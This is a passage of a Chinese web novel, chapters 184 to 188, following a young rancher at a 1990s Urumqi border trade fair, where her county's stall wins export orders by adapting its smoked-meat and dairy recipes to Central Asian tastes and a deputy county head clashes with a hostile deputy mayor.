“反刍停止了”,姚新泉的眉头皱了起来,“有听诊器吗？” 刘教授摇了摇头，“我这没有，我帮你去找找？” 姚新泉摆了摆手,干脆凑过去趴在牛肚子上听了听,“瘤胃蠕动减弱，应该是瘤胃酸中毒,还有可能是急性,得赶紧处理。” 刘教授眉头皱了起来,他确实不是兽医,但是他很清楚，急性瘤胃中毒发病快，还可能致死。 他抿了抿唇，“我得去找下老彭”,他是兽医学的，这点事情还是能解决的。 没两分钟人就回来了，见姚新泉奇怪，他解释道，“我找了个学生去找人。” 后续就没让姚新泉操心了，农大里人才辈出，也不需要她出来出头。 刘教授带着两人往自己办公室走，边走边问，“你家那羊怎么样了？” “我们来之前刚生，300头母羊生了将近700头羊娃子。” 刘教授眼睛瞪大了，“那不错啊，小羊体格子怎么样？” “目前看着还行，不过刚生，还得后面再看。” 刘教授想想也是，“当初我们也想培育”，他想了想叹了口气又没继续说，当初因为种种原因，自己的研究中断了，而且从那之后他的主要研究方向就由羊转为牛了。 他叹了口气，“之后有什么需要帮忙的你跟我说，我这专业对口有啥缺的别不好意思跟我们说。你比你小叔好，他是个闷葫芦，你有什么说什么就成。” 姚新泉自然是笑着答应。 刘教授又问，“你们这回来乌市是来玩吗？” 姚新泉讲了乌洽会的事情后陈教授了然地点头，“听说了，我们学校有的老师合作的项目也去参展了”，又聊了几句后两人也没多待便先离开了。 怕人误会，师月江全称拎着个包，把沙漠猫塞在包里没让人看到，出来后赶忙把它脑袋拎出来透透气，“难不难受？”姚新泉笑着揉了揉它的脑袋。 别的地方也就算了，农大里搞不好就有人能认出它是沙漠猫，到时候闹出点事情来还麻烦了，在外面的话她就说这是狸花猫谁也不能说啥。 小猫睡得懵懵的，耳朵抖了抖也没叫，就伸着脖子四下打量。 “咱们回吧，明天就要开始了，要想玩等结束了再玩儿也行，”师月江自然是没有意见的，两人下了公交车准备往招待所走时突然听到一旁有人在骂骂咧咧。 她不禁停下脚步朝对方看去，师月江疑惑地看向她，“怎么了？” “他说他的翻译拉肚子去了快一个小时现在还没回来，他好像是来参加乌洽会的。” “这么巧？”师月江有些惊讶，姚新泉点了点头往那边走去。 “你好，需要什么帮助吗？”姚新泉用哈语问了一句。 对方穿着一件灰色刺绣衬衣，下面穿着一条黑色马裤，脸上虽然有胡子，但看着年龄不算大。 “你会哈语？你的长相是汉族人吧？”他有些惊讶地看着姚新泉。 姚新泉笑着点了点头，“是的，我是汉族人，但我会哈语，您有什么需要帮忙的吗？” 那人叹了口气，“我们的翻译拉肚子去了快一个小时了，还没有回来，我很担心他，而且我今天还打算去场馆看看的。” “您是有参展还是只是过来提前看看？” “我是哈萨克斯坦商人，有订购的打算，所以想来看看”。 “那不急”，她说着把自己的工作证递给对方看，“我们县在里面有个展位，今天只允许国内和国外参展的单位进去，你得明天再过来了。” 他有些遗憾地把工作证还给了姚新泉，“这样啊”。 姚新泉点了点头，“您刚才说您的翻译去了一个小时还没回来，他是您在本地请的还是带来的呢？是男是女？大概年龄呢？我们可以去帮你找一找。” 他脸上表情不大好看，“是我在本地找的，是个二十来岁的男人。他不老实，收了我的翻译费结果一会儿这样一会儿那样，现在又去厕所去了一个小时，我不知道他是晕倒在了厕所里还是掉进了厕所里，但我不会再雇佣他了，你们可以去找找。” 不提这个人后他的语气又好了一些，“那期待明天与你们见面。” 姚新泉笑着点头，“您认得回去的路吗？需不需要我们带路？” 对方摆了摆手，“我很认路的，走过一遍就不会忘，我先走了，明天见！” 姚新泉两人对视一眼只能往周围去找找看看有没有公厕或者和他说的类似的人，但两人转了一圈回来都叹了口气，“我估计是个骗子。” 中亚五国里除了塔吉克斯坦的语言是波斯语系之外，其他四国的语言其实都是突厥语系，和维语哈语有许多共通之处，就算不能百分百理解，但基本的交流还是能做到的。 这种情况下肯定会有本地的人存了坏心眼儿去骗了人家，这事儿要是个例还好说一点，如果数量多了影响太坏了。 “得去跟石副县长说一声让他向上反映”，姚新泉道，“这不是某个人的问题，真闹大了丢人的是咱们国家，这丢人都丢到国外去了！” 两人赶紧去了会展中心，找到石副县长后把情况跟他说了。 石副县长闻言也皱起了眉头，“竟有这事儿？不行，这事儿不能拖着，我得赶紧往上报，这事儿影响太坏了。” 姚新泉点了点头，“我也是这个意思，咱们得赶紧行动，万一这种人多了影响不好。” 石副县长站起身，“你们先回吧，这事儿我来处理，放心，肯定给你们一个交代。” 姚新泉想了想还是道，“既然已经有这样干的人了，倒不如让上面想办法去找人把翻译的事情揽过去”。 自带翻译的还好说，没带翻译的与其让他们被人骗了，倒不如主办方这边想想办法接手这一茬事情呢！ “除了塔吉克斯坦之外的中亚 四国通用语言和咱们的哈语维语很像，看看能不能找些少民学生？或者人数如果够的话，看看有没有语言专业的大学生，像俄语、阿拉伯语什么的也都可以带过来，有备无患嘛！” 石副县长想了想有道理，哪里都有这种仗着点小聪明想干坏事的人，与其想办法去阻拦他们，倒不如直接切断通过翻译接近外商的途径。 他看向姚新泉的目光中带着几分赞许，“你这孩子想的周全，行，这事儿我来安排，你回去等消息吧。” 姚新泉和师月江也没多待，两人出了会展中心的大门后往招待所的方向走。 “我真是服了这些人，为了点儿蝇头小利天天搞这种破事，刚当着人家外商的面我啥都不好意思说，脸都要羞红了”。 而且人家其实啥都看得出来，什么上厕所一个小时，都是狗屁，人家也不是傻子，要不怎么会一说到那人他脸色就不好看，也就是没当着他们俩的面儿直接说对方是骗子罢了。 两人路过那家拉面馆的时候师月江停了下来，“我去给小猫买点肉。” 姚新泉莞尔，“你天天跑人家后厨里买肉，你这可真是……” 师月江也忍不住笑，“我又不认识这周围的路，也不知道哪里有肉店之类的，也没时间出去跑，这不是方便吗？” 另外他没说的是，大家其实都挺乐意的，采购好的肉他私下买一些走，这肉钱会便宜了谁？ 他是怎么都不信对方会给这钱入账。 姚新泉也没拦着，这种小事情上师月江考虑的比自己周全多了。 小猫被师月江塞在包里一路颠簸也没抱怨，此时正乖乖地冒着头蹲在他脚边，等着他给自己买好吃的。 姚新泉见它可爱，没忍住蹲下来摸了摸它的脑袋瓜，“有肉肉吃了，开不开心？” 小猫蹭着她的手乖巧的不行，一点看不出是只野生动物。 师月江进去没一会儿就出来了，手里提着一小袋肉，看着还挺多。 “你给它买这么多，它吃得完吗？”姚新泉有些惊讶。 师月江笑了笑，“受伤了好好给它补补。” 两人回了招待所后给小猫喂上水、饭，小猫闻到肉味眼睛都亮了，一头扎进了肉碗里。 姚新泉笑弯了眼睛，“它以后要是跟咱们回去还好，它这饭量要是自己捕猎，一天啥也别干，就捕猎了。” 师月江莞尔，小家伙看着吃的不算太多，但是考虑下它的体型，那绝对是大胃王了，确实每天估计就忙着喂饱肚子了！ 第185章 天刚蒙蒙亮,乌市国际博览中心外围已经围满了人。铁栅栏外，人群像被无形的手推着往前挤，自行车铃铛声、人群的嘈杂声混在一起,像一锅煮沸的水。 铁栅栏内侧,武警排成两列,手挽着手,形成一道人墙。他们的脸被晨风吹得发红,目光直视前方,不动如山。人群的推挤让他们的身体微微摇晃，但没有人后退半步。 九点整，三声炮响炸开空气。 轰！轰！轰！ 炮弹爆炸的气浪震得周围的尘土扬起，几只麻雀惊飞而起,扑棱棱掠过博览中心的玻璃穹顶。人群瞬间沸腾,呼喊声、口哨声、掌声像潮水一样涌来。 博览中心的正门前,十二道自动门同时缓缓升起，发出低沉的机械轰鸣。门后，主展厅的地面光可鉴人,反射着头顶巨大的水晶吊灯的光芒。吊灯由数百盏小灯组成,像一颗颗凝固的星辰，悬在三十米高的穹顶之下。 展馆入口处,三排安检人员已经就位。金属探测器发出规律的“滴滴”声,工作人员手持扫描仪,快速划过每一个入场者的衣袋。 场馆外,十几辆卡车正卸货。装卸工们光着膀子，肩膀上搭着毛巾，喊着号子，把印着俄文、哈萨克文的木箱搬下车。木箱上钉着铁皮标签,有的已经生锈，有的还沾着西伯利亚的寒气。 一个哈萨克族翻译站在卡车旁，手里捏着一张纸，大声用俄语喊着：“第三箱！先卸第三箱！” 主展厅内，十二盏巨大的聚光灯突然亮起，刺得人睁不开眼。 十点整，开幕式正式开始。 舞台两侧的十二面铜鼓同时被敲响，鼓手们甩开膀子，手臂肌肉绷紧，鼓槌砸在鼓面上，发出低沉而有力的声响。鼓声在展厅内回荡，震得玻璃穹顶微微颤动。 舞台中央，十二名穿着民族服装的舞者同时跃起，裙摆旋转，像一朵朵绽放的花。维族姑娘的琴弦震颤，哈萨克族的冬不拉琴音高亢，蒙古族的马头琴低沉悠长。 观众席上，各国代表也已经落座。 与此同时，展馆外的广场上，十二门礼炮再次轰鸣。 轰！轰！轰！ 炮声比之前更响，震得地面微微颤动。人群再次沸腾，欢呼声像海浪一样拍打着博览中心的墙壁。 主舞台上，液压升降台缓缓升起，露出藏在下面的十二名舞者。他们手持彩绸，随着音乐节奏旋转，彩绸在空中划出流畅的弧线。 十点零五分，开幕式进入高潮。 自治区领导走上舞台，拿起话筒。 “第一届乌市边境地方经济贸易洽谈会——” 他的声音通过扩音器传遍整个展馆，甚至穿透玻璃穹顶，传到外面的广场上。 “——现在开幕！” 话音落下，十二枚□□同时升空，在空中炸开，形成一片绚烂的红色、金色、银色的烟火。 人群爆发出震耳欲聋的欢呼声。 展馆内，各国代表站起身，鼓掌。 展馆外，人群仰头望着烟火，有人吹口哨，有人大喊，有人激动地拥抱身边的人。 烟火的光芒映照在每个人的脸上，像一场盛大的、无法复制的瞬间。 姚新泉看向师月江，才发现师月江也看着自己，两人相视一笑。 再看身边众人，各个儿都眼眶泛红神情激动。 十点十分，开幕式结束。 人群开始流动，像潮水一样涌向各个展馆。 展馆内，展台已经布置完毕，商品陈列整齐。而这一切，才刚刚开始。 石副县长用力拍了拍手，让大家振奋起来，“咱们不能跟人家那些什么能源或者类似的东西相比，咱们也不用比。咱们就看看咱们自己的这些农副产品之类的，争取多来点单子，别的都不管！” 几人不知道的是众人的目光其实多多少少都会停留在他们摊位上，不为别的，就为了那位站在那儿翩翩起舞的模特。 只见“她”穿着一套红色艾德莱斯舞裙，那裙子的颜色也不知道是怎么染得，并非正 红，倒像是杂糅了些橙色进去，艳丽非常。 而且裙摆层层叠叠，若那假人模特是定定站在那里倒还看不出什么，但那模特却舞姿翩翩，裙摆如花瓣般舒展，很是美丽，甚至让人觉得只要再来一阵风，那模特便会翩然起舞活过来一般。 裙身上绣着金线，在灯光照射下金线像是活了一样，一闪一闪地刺人的眼睛。 下半身繁琐上半身就简洁了一些，就是一件黑色修身长袖。 模特头上戴着一顶小帽，也是红的，帽檐却镶着一圈金边，后面还坠着红纱。帽子上绣着同样的金线花纹，与裙子呼应着，像是从同一匹布上裁下来的。 模特的一只手臂弯着，手掌向上，作托帽状，另一只手则斜斜地垂下，指尖微微翘起，仿佛刚刚结束了一个旋转，正待音乐再起时继续舞动。 模特手指僵硬，也就从这里还能透出一两分假人的意思来。 为什么说只有手指呢？脸上看不出来？ 确实，脸上看不出来，模特的脸上挂着一条红色面纱，使得“她”更多了两分神秘。 这条裙子上无论是刺绣还是做工都是找了他们县里手艺最好的人耗时很久才做出来的，往这一站，立马上就吸引了众人的视线。 下面人把事情报给领导听了后，领导也觉得有意思，悄悄去看了两眼又让人去打听了是怎么回事儿，没一会儿他们市这次过来的领导便过来了。 石副县长赶忙起身与对方握手，童副市长笑眯眯地跟他握手，“小石同志很有想法啊，这个模特有意思，咱们周围这一片只要有人经过那就没有不回头看看的。” 石副县长笑了起来，“也是我们着急想让县里发展起来，咱们县虽然人不多，但是能耐人也是有的，不展示出来，谁能知道咱们县也卧虎藏龙呢？” 他指着姚新泉道，“我们小姚同志想出的点子”，又指着师月江，“小师同志亲自调整的模特，这两位同志都很能干！” 童副市长琢磨着姚这个姓，突然问，“之前7.2诈骗案就是这位小同志反应的问题吧？” 姚新泉不清楚对方怎么知道自己的，但还是点了点头，“没错。” 童副市长笑了笑没说什么，但姚新泉总觉得那个笑意有些浮于表面。 等他走了之后石副县长想了想皱眉，“别跟他打交道”，多的也没说，但态度表示得挺明显了。 师月江想问但姚新泉拦了下，没必要，正常情况也不会跟对方有什么交流的机会。 石副县长余光看到姚新泉后心里也忍不住叹气，事情是好事情，但问题是因为这个事儿，上面下来了不少人，难免之间有些裙带关系，他虽然不知道童副市长为什么对姚新泉有意见，但也没什么好说的，除了这些还能是什么？ 人家是跟着自己出来的，他肯定得把人好好带回去，可激动的心情不免还是蒙上了一层阴影。 场馆内人不少，但是到他们这个角落里来的人真不算多，众人见迟迟没有外商过来不免有些焦躁。 石副县长见状安慰道，“别急，这才哪儿到哪儿，开幕式刚结束，人家总得去主展厅逛逛，咱们这儿偏，得多等会儿。” 众人点了点头，也知道是这个理儿，但还是忍不住往门口看。 这一看，倒还真看到有人往这边来。 那人穿着一身西装，打着领带，头发梳得一丝不苟，看着像是哪个公司的大老板，看长相的话好像也是中亚那边的长相，应该是个外商。 沈鹏眼睛一亮，赶忙主动迎了上去，“您好，欢迎来到我们县的展位，这是我们这次带来的农副产品……” 那人听了他的话后停下脚步，随即便皱起了眉头，“不是从这里去能源展区吗？” 沈鹏懵了，不是，他听不懂啊！ 姚新泉见两名翻译都没动，暗暗叹了一口气上前解释了起来，“这边是农副产品还有一些轻工业产品的展区，能源在另一边的。” 对方懊恼地拍了下脑袋，“我不太认得路”，他有些不好意思地问，“你可以带我去吗？我可以付你钱！” 姚新泉低声跟石副县长解释了一声，石副县长有些无奈，好不容易来了一个人，他们先招揽了过来，结果是来错了地儿的！ 也怪这人大踏步往前走丝毫没停留，如果不是沈鹏胆子大留了下人，谁知道这人会走到哪儿去啊？ “去吧，也看看外面怎么样，开幕式听动静人都不少，怎么咱们这边都见不到几个人啊！” 也不单单是他们家，其他家也没见着人。 人呢？ 姚新泉点了点头，他带着师月江跟着那名外商往外走。 那名外商发现走错了地方后突然来了些兴致，“这边有卖活牛和羊的吗，肉的品质怎么样？” 姚新泉点了点头，“有倒是有，不过人家是带来参展的牲畜，我是没机会尝到了。” 外商笑了起来，就听姚新泉又道，“但新省的肉质那是出了名的好。” 第186章 外商点了点头,表示认同这番话。姚新泉对他刚才提到的能源问题有些好奇，便问道：“你有打算从国内这边进口能源吗？” 这次新省的多个相关单位都展出了能源产品，姚新泉这两天也打听到了一些消息。比如哈市煤田已经初步开发,部分煤炭企业参展,主要面向哈萨克斯坦、吉尔吉斯斯坦等缺煤国家进行推广。 然而,姚新泉与师月江聊了聊后,对这条路子并不太看好,问题实在太多了。就拿吉尔吉斯斯坦来说,他们了解到该国主要缺煤地区在北部的比什凯克周边，而哈市等地的煤田想要运往那边，只能通过公路运输，因为两国尚未通铁路。 公路运输的话,大多数货物需要经伊犁到霍尔果斯口岸,再到阿拉木图,最后才能到达比什凯克地区。这样一连串的运输费用得多高？吉尔吉斯斯坦目前经济相对不发达，不说负担得起与否，单说这样划得来吗？ 再者,哈萨克斯坦的埃基巴斯图兹煤矿距离吉尔吉斯斯坦更近,且有铁路直达，价格更低,他们没有必须与新省煤矿合作的理由。 此外,这几个国家毕竟才独立不久,内部存在不少政治问题。比如塔吉克斯坦目前还在内战,吉尔吉斯斯坦虽然尚未出现动乱或战争，但至少也没办法进行大规模基建或国家层面的合作。 因此，两人讨论后认为，这次更多是双方进行洽谈,但他们不太看好能成，估计上面的人也清楚这一点。 外商笑了笑，但并未明确表示是否来采购能源，只是说：“我得先去参观参观。” 姚新泉也没继续这个话题，带着他往前走，突然问道：“这位同志，你有兴趣采购点儿蜂蜜或者熏制产品吗？” 对方一愣，没想到她直接开始推销，随即笑了起来：“这个之后再提吧。”乌洽会还有好几天，不至于在第一天就确定下来。 姚新泉点了点头，也没强求，两人继续往前走。将外商送过去后，姚新泉和同伴也没多留，转身回到自家摊位。到达时，两人愣了一下，怎么这么多人？ 再一听才发现，原来大多数是本地的散客在参观，并非外商。两人有些丧气，乌洽会虽未禁止零售，但一般情况下只有少数像他们这样的小柜台携带一些展品可以零售给游客，且数量有限。 另外，乌洽会的最后一天是专门针对散客的，想要购买的人大多集中在那一天。等送走这波散客后，两人才挤了进来。石副县长朝他们苦笑：“大都是参观或者想试吃的。” 姚新泉理解：“吃的东西肯定得让尝，不好吃人家可不会买。”而且她主要还是想让外商也尝尝看。 中午，姚新泉两人溜回招待所，给小猫喂了些肉后又赶了回来。乌洽会正式开始后，实在不方便把小猫带过来，太说不过去了。 下午，这边倒来了不少外商，见他们没往这边走，参观完其他展台后便想离开。姚新泉想了想，切了点儿熏肉端在纸质托盘上走了过去。 “您好，我们展台也有熏制品，您要不要过去看看呢？”她刚看到这位外商在查看其他展台的熏制牛肉，便切了些熏肉端了上来。 阿扎马有些不耐烦，更不高兴。国内现在确实缺肉，但也不是对口味完全没有要求。他转了好几家，都觉得味道一般，淡而无味，谁爱吃？ 他家里早年就是做熏制品生意的，苏联解体后他也重操旧业，但生意不好做。哈萨克斯坦在苏联时期是重要的畜牧业和粮食生产基地，经济高度依赖联盟内的分工。苏联解体后，饲料、兽药、机械设备等供应链中断，畜牧业生产急剧下降，许多国营牧场、农产也瘫痪了，雪上加霜。 再加上国内以及俄 罗斯的一些问题，综合导致肉类紧缺，他不得不将目光投向这位地大物博的邻国。 本来满怀期待，来了之后才发现口味与期望的不一样。 “你们的熏肉不好吃！”阿扎马直言不讳。 姚新泉听后也不生气，反而笑道：“各个国家和地区的口味肯定有差异。为此，我们专门调整了一部分配比，做了两类的熏制品，一类更适合我们本地及国内其他地区的需求，另一类则更适合您和其他中亚国家朋友的口味，您要不要试试？” 阿扎马来了兴致，没接她递过来的托盘，而是跟着她去了展台。到了地方后，他才接过托盘，尝了一口上面切成薄片的马肠子。入口后他愣了一下，但什么都没说，又尝了一口熏牛肉。其他人的目光满是期盼地落在他身上。 阿扎马吃完了托盘上的各类熏制品后突然笑了：“你们还真研究过我们的口味？” 石副县长在本地待久了，也能连蒙带猜听懂一些，心里一喜，但没插嘴，让姚新泉先谈。 “西方那边不还有句话嘛，顾客是上帝。想要跟你们合作，肯定要了解你们的口味并做出调整。” 这话一点不假，大家生长环境不同，口味肯定有差异。 “比如我们国家与你们中亚几国的口味相比，在熏肉方面，新省受了内地同胞的影响，会用一些调料，盐味也会淡一些。而你们中亚几国的熏制品主要还是以马肉为主，更重盐、重烟熏，香料也更简单。所以我们特意调整了配方，尝着怎么样？” 阿扎马眼中的笑意真切了几分，谁不喜欢被重视的感觉？他目光落在桌子上的其他食品上，姚新泉见状，给他切了些奶疙瘩、奶酪，又掰了块儿馕让他蘸酥油，馕是早晨现买的。 对方哈哈大笑：“你要是弄个炕，再给我来碗奶茶就更好了！” 姚新泉莞尔：“炕我们是没有，奶茶可真有。”机灵的员工立马去冲奶茶，没一会儿冲了一杯给他。阿扎马也没拒绝，笑着接过吃了起来。 他没提订购的事情，众人虽然心焦，但到底还是忍了下来。姚新泉不急，毕竟才第一天，能成最好，不能成也当交个朋友。再说，阿扎马明显喜欢他们展台上的东西，就算自己不买，推荐给朋友也不错。 等阿扎马喝完奶茶，把碗放在桌子上，脸上正经了起来：“你们的熏肉产能有多少？” 姚新泉示意石副县长过来，给他做了介绍后才说：“我是开牧场的，家里在培育高品质的羊肉，今年还没产出，所以主要是跟过来见见世面。我们县的这些产品，没有比石副县长更了解的了，让他来给你解释，我来翻译？” 阿扎马深深看了她一眼，点了点头，跟石副县长谈了起来。一旁众人紧张得心都提到了嗓子眼儿，只盼着能成。 四十来分钟后，双方通过乌洽会签好订购合同，起身握手。阿扎马还专门跟姚新泉握了握手：“不知道你培育的是什么品种的羊？” 姚新泉跟他介绍了一下，阿扎马对杜泊羊和阿勒泰羊也有所耳闻，便笑道：“那我期待你牧场的产出了，也会和朋友推荐。”他相信，一位会专门研究客户需求并针对性改良的老板，培育的羊肉也一定有水准。 没错，在洽谈过程中，他听出了这些主意都是姚新泉出的。 姚新泉笑着点头：“我给你张我的名片吧，回头你如果来国内玩，可以来我们牧场转转，我还专门育肥牛羊，品质也很不错，回头请你吃肉！” 两人留了联系方式后，阿扎马才离开。石副县长捏着合同的手都有些抖：“开门大吉啊！” 双方是用人民币结算的，按照合同约定的供货量，一年要供80万人民币左右的货物！他们县一年的财政收入也就150万左右，现在一下就过半了，他怎么可能不激动？ 而且合同还约定，这是三批货的款，在第二批货收到后三日内，如果确定品质没问题，对方会追加一倍的订单！一倍啊！这就是160万！比他们一年的财政收入都高！ 石副县长都要高兴疯了：“小姚，大功臣啊！”要不是姚新泉主动出击，人家可就走了！他怎么可能不激动？ 见石副县长激动地拍姚新泉的肩膀，师月江失笑，赶忙把姚新泉揽过来：“这才刚开始，后面还有的是激动的机会呢！” 石副县长哈哈大笑，他已经感受到周围羡慕的目光了！犄角旮旯又怎么样，他们可是第一个开张的！刚童副市长听到消息过来后那僵硬的老脸别以为他没看到！他们县可真是长脸了！ 他本来对童副市长的意见没那么大，只是不太爽罢了，他们私下没什么交情，公事上谈不拢他也不会带情绪。至于童副市长记恨姚新泉的事情，他虽然不至于到处塞人或者跟多少人有私交，但是某种意义上他也能理解自己的亲朋好友因为某人下马了，虽然说自己内心知道谁是谁非，但是可能确实会迁怒。 但是理解归理解，你迁怒也行，你别表现出来啊？ 更何况看他那模样，甚至想连坐？ 那他就更不能接受了！ 别说他没觉得姚新泉哪里有问题，就算真有，那公是公私是私，做什么混为一谈？ 现在见他这个模样，自己高兴都来不及呢！ 第187章 有了这一单保底,哪怕之后一单不成都不算白来啊！ 石副县长想完之后忍不住呸呸两声，见周围人都朝自己看了过来他有点尴尬地清了清嗓子，不自在地移开了视线。 姚新泉和师月江对视一眼,眼中都是笑意,师月江拍了拍她的手,成了这一单他知道姚新泉心里也舒坦了些,之前她也一直提心吊胆着,就怕万一啥都没成那问题可就大了啊！ 第一天开了这一单没再成别的,谁承想第二天一开始就有一名哈萨克斯坦商人径直走了过来，等尝了他们摊位上的食物以后立马便决定下单，几人都蒙了。 见他们这般模样，艾尔汗哈哈大笑解释了一番,几人这才知道,原来他跟昨天的阿扎马是连襟,两人一个做肉类生意，一个做奶制品生意。 昨天他在另外一个方向转，对东西不太满意,没想到阿扎马倒给他带来了一个好消息。 他一大早就过来尝尝,没想到味道真还不错。 “阿扎马说你们改了更适合我们的配方，他果然没骗我！” 听出艾尔汗的满意了,姚新泉笑了起来,真是不枉他们花费时间去调查了啊！ “新省有不少人的亲人在你们中亚几国,我们也是好好去征询了他们的意见”,因为一些历史原因，新省这边不少的少民和中亚几国同源，很多人的亲戚还在国外。从前联系不方便，但后来因为边境开放,不管是探亲还是贸易都更方便了，他们有些消息从老百姓嘴里就能打听出来。 除此之外，师星野也给他们想了不少办法，找了不少中亚那边的特色产品。 就像是奶制品，他们那边的和新省的其实也有不少区别，比方说他们的酸奶里比这边更多了几分咸味，是咸酸咸酸的，倒不怎么甜。 而新省这边如果是自己在家里做的话，酸奶可能还是纯酸的，但是外面卖得酸奶，特别是往内地卖得酸奶已经多了不少甜味了，偏酸甜口儿，所以他们一样调整了配方。 “你们这个果丹皮怎么卖的？”艾尔汗这一问倒是让几人愣了一下，没想到他竟然对这个感兴趣啊！ 又磋商了一番后连带奶制品和果丹皮，他总共下单了50万，同时和阿扎马一样也约定了只要质量合格，后续还会提前下单的条款。 这个合同一签阿依巴勒县的名字瞬间便在整个展馆里打响了，童副市长坐不住了，他 找了过来，看向石副县长的目光不怀好意。 “石同志，你们有什么点子有什么想法为什么不报到市里来？如果市里知道你们有这些产品，那以市里的名义来申请展台，以市里的产能，你们这合同起码能翻一番！” 石岳文知道他是来找茬的所以没怎么生气，倒是其他人忍不住了，就连原本对姚新泉很有意见的沈鹏也冷笑，觉得对方吃相太难看！ 石岳文见目前周围没有外商，而且周围不少人目光都隐隐朝这边看来他便放心了，至少不会损伤国家对外的面子。 他轻哼了一声，“副市长真是贵人多忘事呢！当初我是先朝市里打了报告说我们县想要蹭上市里的便车来参加乌洽会，但市里说咱们市除了一家毛纺厂外别的都拿不出手，就别丢人现眼了，这话好像是您在会上说的吧？” “副市长您把我劈头盖脸一顿骂，说我不知脚踏实地，说我们县里啥条件啊就敢往这种国际性质的会议上蹭，您还有印象吗？” 童副市长的脸瞬间黑了下来，他赶忙往周围看了一眼，“你别胡说！” 石副县长已经无所谓了，他被骂之后确实没生气，他也知道自己的很多想法在别人看来确实比较超出县的实力。 他倒是也想慢慢发展，但是老百姓日子不好过啊？ 要是他挨几句骂，就能有这么一个机会去尝试，挨骂又咋了？ 所以挨骂完他又想了别的办法争取到了机会。 他都没记仇，倒有不要脸的玩意儿出来阴阳怪气，恶不恶心啊！ “我是不是胡说，实在不行你回去找找会议记录，甚至找找我的来客登记就知道我说的是真是假了！” “至于县里改配方，在今天成交之前，谁能咬死了我们改了配方就一定能成？这不是尝试吗？我们县里的热心老百姓提了意见，我们又敢于尝试，终于有了点成绩，怎么，副市长不高兴吗？” 他现在可不怕得罪这个狗东西，他又不是跟着对方过来的，对方也没办法把自己怎么样。 至于回去之后？他要是敢白抢自己的订单，他就敢往上告！ 自己裤兜子都还没擦干净，就敢出来胡乱伸爪子？ 他轻蔑一笑，姚新泉第一次见副县长这副得意又骄傲的模样，她捂着嘴小声跟师月江笑道，“石副县长现在看起来特像大反派。” 师月江没好气地推了下她的脑袋。 童副市长余光看到这一幕更气了，他指着姚新泉和师月江两人问，“谁允许非公职人员过来的？这是什么场合，你怎么能随便带人过来？” 石副县长气笑了，他发现这位已经疯了，开始口不择言。 “首先，他们俩满足乌洽会参会人员的条件，主办方审核过他们的信息，主办方没意见，你有意见也憋着！”反正都撕破脸了，石岳文现在无所畏惧，大不了他去告状嘛，这事情谁占理一目了然！ 就算说功利一点，这次回去他可未必还会继续在副县长的位置上坐着，他可比姓童的年轻十来岁，未来的事情走着瞧呗！ “其次，县里选什么人参加，我们县委是有自主选择的权利的，如果这点自主权都没有，那不如以后童副市长跟大家明示一下，以后不管大事小事全部由县委上报到市里，市里不做决定，谁也不能做决定，谁敢擅自做决定，帽子全都撸掉。” “最后，姚新泉和师月江两位年轻同志根正苗红，两位都入选了我们县的先进个人，其中姚新泉同志还入了市级先进人物的选拔，搞不好同时能得市县两级的先进个人。请问，他们凭什么不能参加？哪里不满足条件？” 想了想石岳文决定再戳戳他的肺管子，“对了，咱们姚新泉同志还是7.2特大诈骗案的举报人，为咱们国家和人民挽回了几百万的损失，请问，童副市长还有什么意见吗？” 众人哗然，外地的未必知道，但是新省的基本都听说过7.2特大诈骗案，没想到竟是这么年轻的小姑娘发现并举报的？ 众人看姚新泉的目光一时间有些惊讶，姚新泉想了想突然朝周围拱了拱手，“都是咱们普通老百姓应尽的义务嘛！我虽然不是公职人员，但是一颗为了县里着想的心肯定是真真的！” 童副市长脸彻底黑了，他深吸一口气，刚想说什么就见主办方来人请他过去，语气不算太好。 随后那人又笑着看向石岳文，“石副县长，也请您过去一下！” 石岳文坦荡地答应了下来，把事情交代了一下后跟着人就过去了，他有什么好怕的。 主办方的人领着石岳文走到一个偏僻的角落，四周没什么人，他这才停了下来，转身看向石岳文，神情有些复杂，但是欣赏居多，主要是没想到他竟然有这么大的本事！ 他们最开始都想把这个县级单位刷下去的，毕竟想参展的单位太多了，不过最后被人拦住了。 “石副县长，恭喜你们县这次展会大获成功啊！” 石岳文客气地笑了笑，“还多亏了主办方给的机会，不然我们也接触不到这些外商，而且还只是个开始，人家还没发力呢。” 主办方的人摇了摇头，“机会是给你们了，但能不能抓住还是要看你们自己。这次你们县的表现，确实很出色。” 他顿了下，又有些迟疑地问，“不过，我听说你们跟市里的关系……不太融洽？” 石岳文苦笑了下，“这其中的误会大了去了，不过您放心，不会影响我们的参展的，我们比谁都重视这次机会。” 主办方的人这才放下心来，他拍了拍石岳文的肩膀，“那就好，你们县这次可是给我们自治区长脸了，两个单子签下来之后你们日子也能好过一些。” 石副县长笑叹，“可不是，县里多赚些钱，老百姓的日子也能好过一些”，除此之外一些基础设施也能有钱修了，缺钱啊！ 主办方的人笑了笑没再多说，但心里对他又多了几分满意，就算他脾气直一点，有这种拳拳为了老百姓的心思，又有什么不能包容的呢？ 两人又客气了几句后这才分开，主办方的人离开后，石岳文深吸了一口气，心中充满了感慨。 还是那句话，就算之后再没单子了，但只这两单开门红也足够让大家知道还有他们这么个县毅力在边疆！只要他们继续努力，县里的未来一定会越来越好。 姚新泉见到他回来后快步走过来，“怎么样，有和你说什么吗？”姓童的最开始对她的恶意她能很清楚地感受到，谁也说不好他突然发疯指责石岳文有没有自己的原因。 石岳文笑着摆了摆手，“没事没事，谁是谁非大家都能看得出来，别担心，咱们自己好好干就成！” 第188章 之后几天周围陆续有展台开单,他们县有时候能跟着签个小单子，有时候只能眼巴巴看着，但就算这样也比原本想的要好很多了。 众人心里已经有了些底气,也没有一开始那么焦躁了,展台上人员的整体情绪还不错。 很快时间就到了第五天,11点多时展台上突然了一位外商,经对方的翻译介绍他们知道了是位印度商人。 英语是印度的官方语言之一,姚新泉和师月江两人还有两位翻译倒是都会英语,但是这位印度商人似乎并不想直接跟他们沟通，无奈只能通过他身边的翻译人员翻译。 原来这位印度商人是想要买蜂蜜，这几天姚新泉跟师月江两人在没有外商上门时出去转 过好多次，新省这边有两家比较出名的蜜源公司都有展位,离他们也不太远,他们倒是在对方展位上见到过这位外商,签没签合同不知道，但是这两家公司专门就是做蜂蜜生意的。不是他们瞧不上自己，他们的蜜可没什么特殊的,不跟大公司签,非要跟他们小单位签？ 她有点好奇地问翻译，“咱们县的蜂蜜产量远远没有那两家蜜源公司的多,你们应该已经订购了不少吧？你们对蜂蜜的需求这么大吗？”散户都不放过？ 她倒也不是把生意往外推,只是确实有点不明白,难不成这个商人只做蜂蜜的生意？ 